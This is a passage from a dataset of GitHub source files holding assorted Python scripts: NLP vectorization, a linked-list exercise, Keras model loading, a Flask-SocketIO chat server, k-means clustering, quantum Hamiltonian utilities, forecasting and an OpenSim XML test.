vectorizer1.fit_transform(newdf)\nprint(Y.toarray())\nprint(Y.shape)\n#print(vectorizer.get_feature_names())\n#print(temp)\n\nvoc_size=10000\nonehot_repr=[one_hot(words,voc_size)for words in newdf] \n#print(onehot_repr)\n\nsent_length=2\nembedded_docs=pad_sequences(onehot_repr,padding='pre',maxlen=sent_length)\nprint(embedded_docs)\nprint(embedded_docs.shape)\n\n# column vectors\n\nym=df.columns.values.tolist()\nvectorizer3 = CountVectorizer()\nX1 = vectorizer.fit_transform(ym)\nprint(X1.toarray())\nprint(X1.shape)\n\nvectorizer4 = TfidfVectorizer()\nY1 = vectorizer4.fit_transform(ym)\nprint(Y1.toarray())\nprint(Y1.shape)\n\nvoc_size1=10000\nonehot_repr1=[one_hot(words,voc_size1)for words in ym] \n#print(onehot_repr1)\n\nsent_length=2\nembedded_docs1=pad_sequences(onehot_repr1,padding='pre',maxlen=sent_length)\nprint(embedded_docs1)\nprint(embedded_docs1.shape)\n\nsim=cosine_similarity(embedded_docs,embedded_docs1)\nsim1=euclidean_distances(embedded_docs,embedded_docs1)\nprint(sim)\nprint(sim1)\n\n\n\n\n\n\n\n","repo_name":"malavikasrini21/datamapping","sub_path":"matching.py","file_name":"matching.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"5756334229","text":"\"\"\"\nWrite a function to delete a node (except the tail) in a singly linked list, given only access to that node.\nSupposed the linked list is 1 -> 2 -> 3 -> 4 and you are given the third node with value 3, the linked list should become 1 -> 2 -> 4 after calling your function.\n\nSupposing that we are given the position, we have to traverse the array\nGiven 2 as the 2nd node, we would delete 2 in 1 -> 2 -> 3\nWe do not consider the case where we delete the last node\nAssumptions: the value x is in the linked list\n\t\tWe have access to this node!\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\"\"\"\nMethod 1:\ncopy the next node over\n\"\"\"\ndef print_list(node):\n traverse = True\n while traverse == True:\n print(node.val, \" -> \", end=\"\")\n if node.next == None:\n traverse = False\n else:\n node = node.next\n\ndef deleteNode(node):\n \"\"\"\n :type node: ListNode\n :rtype: void Do not return anything, modify node in-place instead.\n \"\"\"\n node.val = node.next.val\n node.next = node.next.next\n \n\nif __name__ == \"__main__\":\n node_a = ListNode(1)\n node_b = ListNode(2)\n node_c = ListNode(3)\n node_d = ListNode(4)\n node_a.next = node_b\n node_b.next = node_c\n node_c.next = node_d\n print(\"The linked list is\")\n print_list(node_a)\n deleteNode(node_a)\n print(\"\\nThe list with node_a removed is\")\n print_list(node_a)\n\n node_a = ListNode(1)\n node_b = ListNode(2)\n node_a.next = node_b\n print(\"The linked list is\")\n print_list(node_a)\n deleteNode(node_a)\n print(\"\\nThe list with node_a removed is\")\n print_list(node_a)\n\n\"\"\"\nGiven 1 -> 2 we expect 2 ->\n\"\"\"\n\n \n\n","repo_name":"zmatteson/leetcode","sub_path":"solutions/delete_node.py","file_name":"delete_node.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"12261397230","text":"import tensorflow as tf\nimport os\n\njson_fpath = '/mnt/EES-Babylon/JSONFILES'\nh5_fpath = '/mnt/EES-Babylon/H5FILES_BACKUP'\njson_fname = 'convnet.json'\nh5_fname = 'weights-steps123-13.h5'\n\nprint('Loading convnet\\'s architecture from disk...')\n\njson_ffname = os.path.join(json_fpath, json_fname)\njson_file = open(json_ffname, 'r')\njson_data = json_file.read()\nconvnet = tf.keras.models.model_from_json(json_data)\njson_file.close()\n\nprint('Done!')\n\nprint('Loading convnet\\'s weights from disk...')\n\nh5_ffname = os.path.join(h5_fpath, h5_fname)\nconvnet.load_weights(h5_ffname)\n\nprint('Done!')\n","repo_name":"Eliezer-Soares-Flores/fine-tuning-isic2019","sub_path":"load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"42231101572","text":"from random import randint\r\n\r\nrivi = []\r\nrivi2 = []\r\n\r\nlaskuri = 0\r\n\r\nfor i in range(40):\r\n laskuri = laskuri+1\r\n rivi.append(laskuri)\r\n\r\ndef lotto():\r\n laskuri = 0\r\n\r\n for i in range(7):\r\n if i == 1:\r\n nro = (randint(1,39)) \r\n rivi2.append(rivi[nro-1])\r\n del rivi[nro-1]\r\n else:\r\n nro = (randint(1,39-i))\r\n rivi2.append(rivi[nro-1])\r\n del rivi[nro-1]\r\n\r\n rivi2.sort()\r\n \r\n\r\n srivi = [str(element) for element in rivi2]\r\n rivitys = \", \".join(srivi)\r\n return (rivitys)\r\n\r\nprint(lotto())","repo_name":"louhenheimo/ttc2030","sub_path":"Lab08/L08T05.py","file_name":"L08T05.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"4513242190","text":"import time\nimport pytest\nfrom selenium import webdriver\n\n@pytest.fixture(scope='session')\ndef login_cookies():\n user_data_dir = r\"--user-data-dir=C:\\Users\\issuser\\AppData\\Local\\Google\\Chrome\\User Data\"\n option = webdriver.ChromeOptions()\n option.add_argument(user_data_dir)\n driver = webdriver.Chrome(options=option, executable_path=\"../chromedriver.exe\")\n driver.get(\"https://www.cnblogs.com/\")\n time.sleep(3)\n cookies = driver.get_cookies()\n print(cookies)\n driver.quit()\n return cookies\n","repo_name":"richard-ql/pythonNotes","sub_path":"requestsTutorial/pytestSuite/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"9125457183","text":"import re\n\ndef check(string):\n n = len(string)\n if n < 9:\n return False\n\n substr = []\n for i in range(n - 2):\n substr.append(string[i:i+3])\n if len(substr) != len(set(substr)):\n return False\n\n Upper = '[A-Z]'\n Lower = '[a-z]'\n num = '\\d'\n chars = '[^A-Za-z0-9_]'\n patterns = [Upper, Lower, num, chars]\n check_type = 0\n\n for pattern in patterns:\n pw = re.search(pattern, string)\n if pw:\n check_type += 1\n if check_type < 3:\n return False\n\n return True\n\nwhile True:\n try:\n string = input()\n if check(string):\n print(\"OK\")\n else:\n print(\"NG\")\n except:\n break\n","repo_name":"henryZe/code","sub_path":"leetcode/now_coder/hw/20.py","file_name":"20.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"}
+{"seq_id":"40663068292","text":"#!/usr/bin/env python3\n\nimport pycrfsuite\nimport sys\n\n# Inherit crfsuite.Trainer to implement message() function, which receives\n# progress messages from a training process.\nclass Trainer(pycrfsuite.Trainer):\n def message(self, s):\n # Simply output the progress messages to STDOUT.\n sys.stdout.write(s)\n\ndef instances(fi):\n xseq = []\n toks = []\n \n for line in fi:\n line = line.strip('\\n')\n if not line:\n # An empty line means the end of a sentence.\n # Return accumulated sequences, and reinitialize.\n yield xseq, toks\n xseq = []\n toks = []\n continue\n\n # Split the line with TAB characters.\n fields = line.split('\\t')\n # Append the item features to the item sequence.\n # fields are: 0=sid, 1=form, 2=span_start, 3=span_end, 4=tag, 5...N = features\n item = fields[5:] \n xseq.append(item)\n\n # Append token information (needed to produce the appropriate output)\n toks.append([fields[0],fields[1],fields[2],fields[3]])\n\n\nif __name__ == '__main__':\n # Create a Tagger object, and load given model\n tagger = pycrfsuite.Tagger()\n tagger.open(sys.argv[1])\n \n # Read training instances from STDIN, and set them to trainer.\n for xseq,toks in instances(sys.stdin):\n prediction = tagger.tag(xseq)\n inside = False;\n for k in range(0,len(prediction)) :\n y = prediction[k]\n (sid, form, offS, offE) = toks[k]\n \n if (y[0]==\"B\") :\n entity_form = form\n entity_start = offS\n entity_end = offE\n entity_type = y[2:]\n inside = True\n elif (y[0]==\"I\" and inside) :\n entity_form += \" \"+form\n entity_end = offE\n elif (y[0]==\"O\" and inside) :\n print(sid, entity_start+\"-\"+entity_end, entity_form, entity_type, sep=\"|\")\n inside = False\n \n if inside : print(sid, entity_start+\"-\"+entity_end, entity_form, entity_type, sep=\"|\")\n \n\n \n\n","repo_name":"oscarorti/drug-named-entity-recognition","sub_path":"docs/sessions/B.Session-NER.2/predict-crf.py","file_name":"predict-crf.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"5177021213","text":"from flask import Flask, render_template, request\nfrom waitress import serve\nfrom flask_socketio import SocketIO, join_room, leave_room\nimport random\nfrom flask_cors import CORS\nimport eventlet\n\neventlet.monkey_patch()\n\napp = Flask(__name__)\n\n\n\n# Allow connections from http://localhost:3000/\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\n# Dictionary to store active chat rooms\nchat_rooms = {}\nconnected_users = [\n]\n\n# Create a dictionary to store mappings of SIDs to rooms\nsid_to_room = {}\n\n# Function to change the is_connected value\ndef change_is_connected(username, new_is_connected):\n for user in connected_users:\n if user['sid'] == username:\n user['is_connected'] = new_is_connected\n break # Exit the loop once the user is found\n\ndef get_rand_user(username):\n print(connected_users)\n filtered_users = [user for user in connected_users if user['is_connected'] == False and user['username'] != username]\n\n # Check if there are any disconnected users\n if filtered_users:\n # Select a random disconnected user\n random_user = random.choice(filtered_users)\n username = random_user['sid']\n return username\n else:\n print(\"No disconnected users found.\")\n\ndef get_user(id):\n found_user = None\n for user in connected_users:\n if user['sid'] == id:\n found_user = user['username']\n break\n return found_user\n\n@socketio.on('connect_to')\ndef handle_connect(data):\n username = data['username']\n\n print(f'{username} connected')\n \n connected_users.append({'username': username, 'is_connected': False,'sid': request.sid})\n socketio.emit('message', {'message': f'{username} has connected'})\n\n@socketio.on('join_room_random')\ndef handle_join_room_random(data):\n\n print(data)\n if data.get('current_room'):\n print(data.get('random_sid'))\n leave_room(data['current_room'])\n leave_room(data['current_room'], sid=data['sid'])\n print(\"FAGFDSAFDSFHEY\")\n\n socketio.emit('user_left', room=data.get('random_sid'))\n\n username = request.sid\n random_user = get_rand_user(data.get('username'))\n\n print(random_user)\n\n # Emit a 'join_room' event for the random user\n if random_user:\n print(f'{username} connected')\n print(random_user)\n room_name = f'{username}-{random_user}'\n user = get_user(username)\n rand_user = get_user(random_user)\n join_room(room_name)\n join_room(room_name, sid=random_user)\n change_is_connected(username, True)\n change_is_connected(random_user, True)\n\n socketio.emit('join_room_for_random', {'room': room_name, 'other_user': user, 'sid': username}, room=random_user)\n socketio.emit('join_room_for_user', {'room': room_name, 'other_user': rand_user, 'sid': random_user}, room=username)\n\n socketio.emit('random_message', {'message': f'{user} has connected with {rand_user}'}, room=f'{username}-{random_user}')\n\n@socketio.on('join_room')\ndef handle_join_room(data):\n\n room_name = data['room']\n join_room(room_name)\n # Emit a 'join_room' event for the random user\n # socketio.emit('join_room', {'room': room_name}, room=room_name)\n\n # socketio.emit('user_message', {'message': f'{username} has connected with {random_user}',\n # 'user1': username,'user2': random_user}, room=f'{username}-{random_user}')\n\n\n@socketio.on('leave_room')\ndef handle_room_leave(data):\n room_name = data['room']\n leave_room(room_name)\n\n\n\n@socketio.on('disconnect')\ndef handle_disconnect():\n room_name = request.sid\n\n leave_room(room_name) # Leave the specified chat room\n socketio.emit('message', {'message': f'{username} has left the room'}, room=room_name)\n new_connected_users = [user for user in connected_users if user['sid'] == request.sid]\n connected_users = new_connected_users\n print(request.sid)\n\n@socketio.on('get_random_user')\ndef handle_random_room():\n # username = data['username']\n # room = data['room']\n # join_room(room);\n # socket.io.emit('message', {'message': f'{username} has joined the room'})\n filtered_users = [user for user in connected_users if not user['is_connected']]\n\n # Check if there are any disconnected users\n if filtered_users:\n # Select a random disconnected user\n random_user = random.choice(filtered_users)\n username = random_user['username']\n print(f\"Random disconnected user: {username}\")\n else:\n print(\"No disconnected users found.\")\n\n@socketio.on('message')\ndef handle_message(data):\n message = data['message']\n room_name = data['room']\n username = get_user(request.sid)\n print(f'Received message in room {room_name}: {message}')\n socketio.emit('user_message', \n {'message': message, 'username' : username, 'room': room_name}, room=room_name)\n\nif __name__ == '__main__':\n print(\"Server is running on 0.0.0.0\")\n socketio.run(app, debug=True, host='0.0.0.0', port=8000) \n","repo_name":"Thethickinnchickin/ChatAppPythonTest","sub_path":"next-chat-app/api/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":4982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"43260174439","text":"\"\"\"\nClustering class to support Intel® Data Analytics Acceleration Library.\n\"\"\"\n\nimport numpy as np\n\ntry:\n import daal4py as d4p\nexcept ImportError as e:\n d4p = None\n\nfrom . import baseoperationclass\n\nNUM_CLUSTERS_DEFAULT = 5\nNUM_ITERATIONS_DEFAULT = 5\n\n\nclass DAALKMeansClustering(baseoperationclass.BaseOperationClass):\n\n _operation_name = 'Intel DAAL K-Means Clustering'\n _operation_code_name = 'DAALKMeans'\n _type_of_operation = 'cluster'\n\n def __init__(self):\n super().__init__()\n self.num_clusters = NUM_CLUSTERS_DEFAULT\n self.selected_features = []\n self.model = None\n self.centers = None\n self.labels = None\n\n def _preprocessed_data(self, data):\n return data if not self.selected_features \\\n else data.loc[:, self.selected_features]\n\n def set_parameters(self, num_clusters, features=None):\n if num_clusters is not None:\n self.num_clusters = num_clusters\n if features is not None and isinstance(features, (list, tuple)):\n self.selected_features = list(features)\n return True # TODO: \"return\"-statement should be removed\n\n def get_parameters(self):\n return {'numclusters_DAALKMeans': self.num_clusters,\n 'features_DAALKMeans': self.selected_features}\n\n def get_labels(self, data, reprocess=False):\n data = self._preprocessed_data(data)\n\n if self.model is None or reprocess:\n self.model = d4p.\\\n kmeans(nClusters=self.num_clusters,\n maxIterations=NUM_ITERATIONS_DEFAULT,\n assignFlag=True)\n\n if self.centers is None or reprocess:\n self.centers = d4p.\\\n kmeans_init(nClusters=self.num_clusters, method='randomDense').\\\n compute(data).\\\n centroids\n\n _labels = self.model.compute(data, self.centers).assignments\n self.labels = np.reshape(_labels, len(_labels))\n return self.labels\n\n # methods that should be re-worked or removed\n # (for now keep these methods for consistency with others clustering modules)\n\n def print_parameters(self):\n return self.get_parameters()\n\n def save_parameters(self):\n return self.get_parameters()\n\n def load_parameters(self, parameters):\n self.set_parameters(\n num_clusters=parameters.get('numclusters_DAALKMeans') or NUM_CLUSTERS_DEFAULT,\n features=parameters.get('features_DAALKMeans') or [])\n return True\n\n def save_results(self):\n return {'results': self.labels.tolist(),\n 'cent': self.centers.tolist(),\n 'dump': None}\n\n def load_results(self, results_dict):\n if results_dict.get('results'):\n self.labels = np.array(results_dict['results'])\n if results_dict.get('cent'):\n self.centers = np.array(results_dict['cent'])\n return True\n\n def process_data(self, data):\n return self.get_labels(data)\n\n def predict(self, data):\n return self.get_labels(data)\n\n\ntry:\n baseoperationclass.register(DAALKMeansClustering)\nexcept ValueError as e:\n print(repr(e))\n","repo_name":"PanDAWMS/InVEx","sub_path":"core/calc/clustering/DAALKMeansClustering.py","file_name":"DAALKMeansClustering.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"}
+{"seq_id":"13986878813","text":"import numpy as np\nfrom scipy import linalg\nfrom typing import Tuple, Optional\nfrom itertools import product\nfrom openfermion import InteractionOperator\nfrom pytket.pauli import Pauli, QubitPauliString\nfrom pytket.circuit import Qubit\nfrom pytket.utils import QubitPauliOperator\n\ndef factorial(n):\n if n < 2:\n return 1\n else:\n return n * factorial(n-1)\n \n# Calculate the L1 spectral distance between the two unitary matrices which is the operator norm, largest eigen (singular) value\ndef calculate_error(U1, U2):\n # U = np.zeros((U1[0].shape), dtype='complex128')\n # M = len(U1)\n # U_sim = sum(U1)\n # print(U_sim/M)\n # print(U2)\n # print(U_sim/M - U2) \n return np.abs(linalg.eig(U1 - U2)[0]).max()\n\ndef count_parity(dict):\n parity = [i for i in list(list(dict[0].keys())[0])].count(1)\n ratio = np.zeros((len(dict),))\n ratio[0] = 1\n for i in range(1,len(dict)):\n for j in list(dict[i]):\n if list(list(j)).count(1) == parity:\n ratio[i] += dict[i][j]\n ratio[i] = ratio[i]/sum(list(dict[i].values()))\n return ratio\n\ndef qps_from_openfermion(paulis):\n \"\"\"Convert OpenFermion tensor of Paulis to pytket QubitPauliString.\"\"\"\n pauli_sym = {\"I\": Pauli.I, \"X\": Pauli.X, \"Y\": Pauli.Y, \"Z\": Pauli.Z}\n qlist = []\n plist = []\n for q, p in paulis:\n qlist.append(Qubit(q))\n plist.append(pauli_sym[p])\n return QubitPauliString(qlist, plist)\n\ndef qpo_from_openfermion(openf_op):\n \"\"\"Convert OpenFermion QubitOperator to pytket QubitPauliOperator.\"\"\"\n tk_op = dict()\n for term, coeff in openf_op.terms.items():\n string = qps_from_openfermion(term)\n tk_op[string] = coeff\n return QubitPauliOperator(tk_op)\n\ndef strings_from_openfermion(openf_op):\n \"\"\"Convert OpenFermion QubitOperator to pytket QubitPauliOperator.\"\"\"\n tk_op = dict()\n for term, coeff in openf_op.terms.items():\n string = qps_from_openfermion(term)\n tk_op[string] = coeff\n return tk_op\n\ndef replace_Pauli_strings(n,list_paulis):\n identity = 'I'*n\n for p in list_paulis:\n pos = list(p)[0]\n pauli = list(p)[1]\n identity = identity[:pos] + pauli + identity[pos + 1:] \n return identity\n\ndef convert_op_to_input(ops,n,nested=False):\n tk_op = []\n tk_coeff = []\n if nested:\n for i in range(len(ops)):\n tk_op.append([])\n tk_coeff.append([])\n for term, coeff in ops[i].terms.items():\n tk_op[i].append(replace_Pauli_strings(n,list(term)))\n tk_coeff[i].append(coeff)\n return [op[1:] for op in tk_op], [co[1:] for co in tk_coeff]\n else:\n for term, coeff in ops.terms.items():\n tk_op.append(replace_Pauli_strings(n,list(term)))\n tk_coeff.append(coeff)\n return tk_op[1:],tk_coeff[1:]\n\ndef convert_twobody_op_to_input(ops,n,nested=False):\n tk_op = []\n tk_coeff = []\n if nested:\n for i in range(len(ops)):\n tk_op.append([])\n tk_coeff.append([])\n for term, coeff in ops[i].terms.items():\n tk_op[i].append(replace_Pauli_strings(n,list(term)))\n tk_coeff[i].append(coeff)\n return tk_op, tk_coeff\n else:\n for term, coeff in ops.terms.items():\n tk_op.append(replace_Pauli_strings(n,list(term)))\n tk_coeff.append(coeff)\n return tk_op,tk_coeff\n\ndef search_depth_with_no_exp(idx,depth):\n for i in range(1,len(depth)):\n # print(depth[i])\n if idx > depth[i]:\n continue\n elif idx == depth[i]:\n return depth[i]\n elif idx < depth[i]:\n if depth[i]-idx > idx-depth[i-1]:\n return depth[i]\n else:\n return depth[i-1]\n\ndef perm_ops(t,depth,sm):\n t_step = t[-1]/depth[-1]\n ind = [[],[],[]]\n V = [[],[],[]]\n coeff = [[],[],[]]\n depth_new = [[depth[i][0]] for i in range(len(depth))]\n for i in range(len(depth)):\n for j in range(len(t)):\n idx = int(t[j] / t_step)\n depth_new[i].append(search_depth_with_no_exp(idx,depth[i]))\n # print(depth_new)\n for i in range(len(depth_new)):\n for j in range(len(depth_new[i])):\n ind[i].append(depth[i].index(depth_new[i][j]))\n for i in range(len(ind)):\n for j in range(len(ind[i])-1):\n V[i].append(np.random.permutation(sm[0][i][ind[i][j]:ind[i][j+1]]))\n coeff[i].append(np.random.permutation(sm[1][i][ind[i][j]:ind[i][j+1]]))\n return [[item for row in V[i] for item in row] for i in range(3)],[[item for row in coeff[i] for item in row] for i in range(3)]\n\ndef search_U_with_no_exp(idx,depth):\n count = 0\n idx_tmp = idx\n while idx_tmp>0:\n idx_tmp -= depth[count]\n count += 1\n count -= 1\n if abs(idx_tmp) > depth[count]//2:\n return count - 1\n else:\n return count\ndef extract_U_at_t(t,U,depth):\n if t[-1]/depth[-1] > t[0]:\n raise Exception('Get a smaller sample steps')\n U_new = [U[0]]\n t_step = t[-1]/depth[-1]\n for i in range(len(t)):\n idx = int(t[i] / t_step)\n U_new.append(U[search_U_with_no_exp(idx,depth)])\n return U_new\n\ndef Monte_Carlo_ave(t,U,depth,Ur,M=3):\n U_new = []\n U_mean = []\n for i in range(M):\n U_new.append(extract_U_at_t(t,U[i],depth[i]))\n for j in range(M):\n U_mean.append([np.abs(linalg.eig(u - u_exc)[0]).max() for u,u_exc in zip(U_new[j],Ur)])\n return np.mean(U_mean,axis=0),np.std(U_mean,axis=0) \n\ndef site_excitation_group(number,hopping,nco,hco):\n group = []\n coeff = []\n for i in range(len(hopping)):\n group.append([])\n coeff.append([])\n pos = [idx for idx in range(len(hopping[i][0])) if hopping[i][0][idx]=='X' ]\n if len(pos) != 2:\n raise Exception('Excitation not conserved')\n for j in range(2):\n group[i].append(number[pos[j]][0])\n coeff[i].append(nco[pos[j]][0])\n number[pos[j]] = 'I'*len(number[0])\n nco[pos[j]] = 0 \n group[i].append(hopping[i][0])\n group[i].append(hopping[i][1])\n coeff[i].append(hco[i][0])\n coeff[i].append(hco[i][1])\n group.append([])\n coeff.append([])\n for k in range(len(number)):\n if number[k][0] != 'I'*len(number[0]):\n group[-1].append(number[k][0])\n coeff[-1].append(nco[k][0])\n return group, coeff\n\n# !/usr/bin/env python3\n# Copyright (c) 2022 Institute for Quantum Computing, Baidu Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ndef orb2spinorb(\n num_modes: int,\n single_ex_amps: Optional[np.ndarray] = None,\n double_ex_amps: Optional[np.ndarray] = None\n) -> Tuple[np.ndarray]:\n r\"\"\"\n Transform molecular orbital integral into spin orbital integral, assume\n the quantum system is spin restricted.\n\n Args:\n num_modes: Number of molecular orbitals.\n single_ex_amps: One electron integral.\n double_ex_amps: Two electron integral.\n \n Return:\n The molecular integral in spin orbital form.\n \"\"\"\n if isinstance(single_ex_amps, np.ndarray):\n assert single_ex_amps.shape == (num_modes, num_modes)\n single_ex_amps_so = np.zeros((2*num_modes, 2*num_modes))\n for p in range(num_modes):\n single_ex_amps_so[2*p, 2*p] = single_ex_amps[p, p]\n single_ex_amps_so[2*p+1, 2*p+1] = single_ex_amps[p, p]\n for q in range(p+1, num_modes):\n single_ex_amps_so[2*p, 2*q] = single_ex_amps[p, q]\n single_ex_amps_so[2*p+1, 2*q+1] = single_ex_amps[p, q]\n\n single_ex_amps_so[2*q, 2*p] = single_ex_amps[p, q]\n single_ex_amps_so[2*q+1, 2*p+1] = single_ex_amps[p, q]\n if isinstance(double_ex_amps, np.ndarray):\n assert double_ex_amps.shape == (num_modes, num_modes, num_modes, num_modes)\n double_ex_amps_so = np.zeros((2*num_modes, 2*num_modes, 2*num_modes, 2*num_modes))\n for p, r, s, q in product(range(num_modes), repeat=4):\n double_ex_amps_so[2*p, 2*r, 2*s, 2*q] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p+1, 2*r, 2*s, 2*q+1] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p, 2*r+1, 2*s+1, 2*q] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p+1, 2*r+1, 2*s+1, 2*q+1] = double_ex_amps[p, r, s, q]\n \n if isinstance(single_ex_amps, np.ndarray) and isinstance(double_ex_amps, np.ndarray):\n return single_ex_amps_so, double_ex_amps_so\n elif isinstance(single_ex_amps, np.ndarray):\n return single_ex_amps_so\n elif isinstance(double_ex_amps, np.ndarray):\n return double_ex_amps_so\n else:\n raise ValueError(\"One of the `single_ex_amps` and `double_ex_amps` should be an np.ndarray.\")\n \ndef get_molecular_hamiltonian(hpq, vpqrs, driver):\n r\"\"\"returns the molecular hamiltonian for the given molecule.\n \"\"\"\n constant = driver.energy_nuc\n\n hcore_so, eri_so = orb2spinorb(driver.num_modes, hpq, vpqrs)\n\n # set the values in the array that are lower than 1e-16 to zero.\n eps = np.finfo(hpq.dtype).eps\n hcore_so[abs(hcore_so) < eps] = 0.0\n eri_so[abs(eri_so) < eps] = 0.0\n\n h = InteractionOperator(constant, hcore_so, 0.5*eri_so)\n return h\n\n","repo_name":"AprilSweettooth/Hamiltonian-Decomposition","sub_path":"utils/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":9814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"16814905569","text":"import numpy as np\n\nimport aimsprop as ai\n\n# => Parse/Align/Weight/Clean <= #\n\n# Parse a series of FMS90 trajectories that Hayley has run for Stilbene\nICs = list(range(1, 16 + 1))\ntrajs = [\n ai.parse_fms90(\"/home/hweir/stilbene/5-aims/s0_extension/aims_%04d/job1\" % x)\n for x in ICs\n]\n# Merge the trajectories into one super-big Bundle with uniform weights\ntraj = ai.Bundle.merge(trajs, ws=[1.0 / len(trajs)] * len(trajs), labels=ICs)\n# Compute properties at ~1 fs intervals, removing nonsense due to adaptive timesteps\nts = np.arange(0.0, max(traj.ts), 40.0)\ntrajs = [traj2.interpolate_nearest(ts) for traj2 in trajs]\ntraj = traj.interpolate_nearest(ts)\n\n# => Population Plot <= #\n\n# If you want the detailed population curves (corresponding to traj.ts), e.g., for decay constant fitting:\n# populations = ai.compute_population(traj)\n# If you just want a plot of the populations\nplt = ai.plot_population(\n \"P.pdf\",\n traj,\n trajs,\n time_units=\"fs\",\n state_colors=[\"r\", \"b\"],\n)\n","repo_name":"mtzgroup/aimsprop","sub_path":"examples/pop-1/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"}
+{"seq_id":"70387523246","text":"'''\n某地区最近几年自行车的销售量资料如下，试用指数曲线方程预测下一年的销售量。\nhttps://baike.baidu.com/item/%E6%8C%87%E6%95%B0%E6%9B%B2%E7%BA%BF%E9%A2%84%E6%B5%8B%E6%B3%95/3155764?fr=aladdin\n'''\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\n\n\ndef yuce5(data,time):\n u_t = []\n log_Yt = []\n log_Yt2 = []\n tY = []\n num = len(data)\n t = []\n t2 = []\n for i in range(1,num):\n u_t.append((data[i]-data[i-1])/data[i])\n for i in range(num):\n log_Yt.append(round(math.log(data[i]),4))\n log_Yt2.append(round(math.log(data[i])**2,4))\n t.append(i+1)\n t2.append((i+1)*(i+1))\n tY.append(t[i]*log_Yt[i])\n t_sum = sum(t)\n t2_sum = sum(t2)\n Y_sum = sum(log_Yt)\n Y2_sum = sum(log_Yt2)\n tY_sum = sum(tY)\n t_mean = t_sum/num\n Y_mean = Y_sum/num\n b = (tY_sum-num*t_mean*Y_mean)/(t2_sum-num*(t_mean**2))\n A = Y_mean-b*t_mean\n a = math.e**A\n return a*((math.e)**(b*time))\n\n\nx = [8.7,10.6,13.3,16.5,20.6,26]\n# plt.plot(x)\n# plt.show()\nre = yuce5(x,7)\nprint(re)","repo_name":"fclefang/ml_practice","sub_path":"qianwen_bu/yuce_5.py","file_name":"yuce_5.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"}
+{"seq_id":"2879295589","text":"# #####\n# This file is part of the RobotDesigner developed in the Neurorobotics\n# subproject of the Human Brain Project (https://www.humanbrainproject.eu).\n#\n# The Human Brain Project is a European Commission funded project\n# in the frame of the Horizon2020 FET Flagship plan.\n# (http://ec.europa.eu/programmes/horizon2020/en/h2020-section/fet-flagships)\n#\n# The Robot Designer has initially been forked from the RobotEditor\n# (https://gitlab.com/h2t/roboteditor) developed at the Karlsruhe Institute\n# of Technology in the High Performance Humanoid Technologies Laboratory (H2T).\n# #####\n\n# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# System imports\nimport os\nimport sys\nimport unittest\nimport pyxb\nimport osim_dom\n\n\nclass XmlBuildLearningTest(unittest.TestCase):\n def runTest(self):\n # generate bindings by $pyxbgen-py3 -u osim_muscles.xsd -m osim_dom\n # Note: Use the pyxbgen that comes with the blender install. That is\n # because even minor version mismatches of the generated xsd bindings\n # with the included pyxb version will cause errors.\n doc = osim_dom.OpenSimDocument()\n doc.Model = pyxb.BIND(\n ForceSet=pyxb.BIND(\n objects=pyxb.BIND(\n Millard2012EquilibriumMuscle=[], Millard2012AccelerationMuscle=[]\n )\n )\n )\n\n m = osim_dom.Millard2012EquilibriumMuscle(\n GeometryPath=osim_dom.GeometryPath(\n PathPointSet=pyxb.BIND(objects=pyxb.BIND(PathPoint=[]))\n ),\n max_isometric_force=1000.0,\n optimal_fiber_length=0.01,\n tendon_slack_length=0.01,\n )\n\n pps = m.GeometryPath.PathPointSet.objects.PathPoint\n pps += [\n osim_dom.PathPoint(\n location=osim_dom.vector3(\"0. 